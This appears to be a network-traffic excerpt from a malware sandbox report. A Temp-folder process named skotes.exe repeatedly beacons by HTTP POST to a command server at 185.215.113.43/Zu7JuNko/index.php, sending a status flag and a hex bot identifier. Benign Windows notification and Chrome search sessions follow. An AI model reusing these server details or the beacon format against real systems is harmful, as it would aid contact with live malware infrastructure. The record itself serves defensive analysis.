137	192.168.2.6	61407	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:51.470449924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:52.108618021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	61408	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:53.624646902 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:54.362497091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	61409	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:55.988900900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:56.627260923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	61410	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:58.139731884 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:58.782391071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	61411	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:01.400398016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:46:02.037925005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	61412	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:03.550256968 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:46:04.193892002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	61413	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:05.827436924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:46:06.465960026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	61414	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:07.984028101 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:46:08.636389017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	61415	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:10.264996052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:46:10.902858019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	61416	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:12.426119089 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:46:13.157980919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	61417	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:14.800435066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:46:15.437839031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	61418	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:16.954050064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:46:17.594944954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	61419	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:46:19.222184896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:46:19.862385035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:46:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 6e 51 49 70 31 48 4f 59 55 69 2b 59 32 2b 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 61 38 61 32 65 38 32 35 62 63 65 64 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gnQIp1HOYUi+Y2+A.1Context: 7faa8a2e825bced8
2024-11-11 11:40:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-11 11:40:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 6e 51 49 70 31 48 4f 59 55 69 2b 59 32 2b 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 61 38 61 32 65 38 32 35 62 63 65 64 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 68 74 70 52 61 4c 38 65 2f 6f 64 44 4a 35 65 57 51 46 4a 64 6f 4d 41 45 42 52 54 42 51 6e 45 4f 7a 6e 35 39 6f 4a 36 4d 38 30 37 34 51 49 54 34 7a 34 6f 71 4f 62 45 70 4e 56 71 56 47 4a 4f 54 75 64 76 4c 35 6c 4f 4a 4d 34 70 79 4c 4c 73 59 63 55 35 4f 45 78 45 66 53 62 62 32 62 6d 62 77 5a 47 64 71 57 61 51 70 65 57 30 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gnQIp1HOYUi+Y2+A.2Context: 7faa8a2e825bced8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZhtpRaL8e/odDJ5eWQFJdoMAEBRTBQnEOzn59oJ6M8074QIT4z4oqObEpNVqVGJOTudvL5lOJM4pyLLsYcU5OExEfSbb2bmbwZGdqWaQpeW04
2024-11-11 11:40:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 6e 51 49 70 31 48 4f 59 55 69 2b 59 32 2b 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 61 61 38 61 32 65 38 32 35 62 63 65 64 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gnQIp1HOYUi+Y2+A.3Context: 7faa8a2e825bced8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-11 11:40:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-11 11:40:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 2b 78 62 4d 33 6f 64 36 6b 36 52 34 39 6a 5a 37 51 34 58 78 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: h+xbM3od6k6R49jZ7Q4Xxw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	142.250.185.100	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:11 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-uJ6PnvbvB7IsBffpW7VZbw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 11:40:11 UTC	112	IN	Data Raw: 65 37 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 6f 77 65 72 62 61 6c 6c 20 6c 6f 74 74 65 72 79 20 6a 61 63 6b 70 6f 74 22 2c 22 70 69 74 74 73 62 75 72 67 68 20 73 74 65 65 6c 65 72 73 20 67 61 6d 65 22 2c 22 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 61 75 72 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 62 6f 61 20 73 75 70 Data Ascii: e7d)]}'["",["powerball lottery jackpot","pittsburgh steelers game","northern lights aurora forecast","boa sup
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 65 72 20 72 65 67 69 6f 6e 61 6c 20 73 61 6e 20 61 6e 74 6f 6e 69 6f 22 2c 22 63 6f 64 20 62 6f 36 20 72 61 6e 6b 65 64 22 2c 22 63 61 73 68 20 61 70 70 20 73 65 74 74 6c 65 6d 65 6e 74 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 6c 61 77 73 75 69 74 22 2c 22 6d 69 73 73 6f 75 72 69 20 74 69 67 65 72 73 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 31 39 32 33 20 73 65 61 73 6f 6e 20 32 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 Data Ascii: er regional san antonio","cod bo6 ranked","cash app settlement class action lawsuit","missouri tigers football","yellowstone 1923 season 2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlb
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 6a 4e 56 4b 7a 68 76 5a 53 73 33 63 56 45 78 4d 48 68 6a 5a 6c 52 6c 56 6b 74 76 4e 45 6f 77 5a 48 5a 6a 55 7a 59 35 5a 6b 39 4a 56 47 46 43 56 55 35 59 55 79 74 57 65 58 59 32 54 57 39 53 62 44 64 54 61 6b 49 32 4f 47 4a 50 64 45 56 70 62 6b 67 78 61 6d 5a 7a 57 57 30 77 55 58 4d 34 4e 57 6c 4d 52 58 46 59 65 54 4a 54 56 6a 46 53 51 32 46 56 54 57 6c 44 4d 54 4a 4c 4d 46 56 69 56 57 30 72 57 57 64 61 62 47 74 61 61 44 51 76 54 46 41 76 4e 55 5a 76 61 6e 42 55 56 48 42 4d 61 45 56 46 4f 48 4e 6a 51 30 68 52 62 30 39 47 5a 57 35 4f 63 6d 4e 50 52 54 4a 46 59 58 68 78 4d 55 74 78 59 30 4a 4f 56 6a 42 31 4e 47 31 31 4c 7a 55 33 59 6e 49 33 55 54 4a 61 55 33 52 4a 51 58 42 70 51 79 74 50 62 58 52 6d 64 31 64 35 4d 79 38 72 52 6c 4d 32 57 47 77 30 5a 54 4e 45 Data Ascii: jNVKzhvZSs3cVExMHhjZlRlVktvNEowZHZjUzY5Zk9JVGFCVU5YUytWeXY2TW9SbDdTakI2OGJPdEVpbkgxamZzWW0wUXM4NWlMRXFYeTJTVjFSQ2FVTWlDMTJLMFViVW0rWWdabGtaaDQvTFAvNUZvanBUVHBMaEVFOHNjQ0hRb09GZW5OcmNPRTJFYXhxMUtxY0JOVjB1NG11LzU3YnI3UTJaU3RJQXBpQytPbXRmd1d5My8rRlM2WGw0ZTNE
2024-11-11 11:40:11 UTC	848	IN	Data Raw: 77 53 54 6c 56 4e 31 52 57 53 7a 4d 30 5a 46 64 71 4d 6e 6c 33 53 6d 78 4a 57 6d 70 42 57 6c 63 34 64 56 6b 34 62 54 64 4d 4d 48 45 79 59 32 56 32 59 6e 5a 69 65 45 51 31 54 6e 64 43 64 55 63 72 4d 47 4a 4a 5a 6d 56 43 4d 44 56 69 5a 44 64 7a 62 31 68 4f 59 32 39 7a 56 44 6c 4e 57 44 5a 30 55 6a 41 79 4d 6c 64 42 65 54 4a 73 62 6e 46 36 59 6c 4a 56 63 32 6f 35 4f 57 39 50 65 57 56 43 62 46 6c 74 59 6d 49 35 64 31 4a 59 4d 6a 4a 31 62 47 68 6d 4d 44 42 71 4f 56 70 44 55 56 70 55 62 6e 52 43 4d 44 45 72 63 47 5a 36 57 44 46 75 54 44 4a 59 61 54 63 78 4d 30 68 74 61 31 4a 58 54 6a 51 35 54 45 35 43 4e 58 52 54 61 45 70 31 56 6d 35 4a 64 31 42 45 62 6a 46 51 4d 31 4a 75 52 57 70 5a 59 6b 6f 76 56 6c 6c 5a 4f 48 4e 4a 54 6d 68 79 63 32 51 78 4d 44 4e 6b 55 47 Data Ascii: 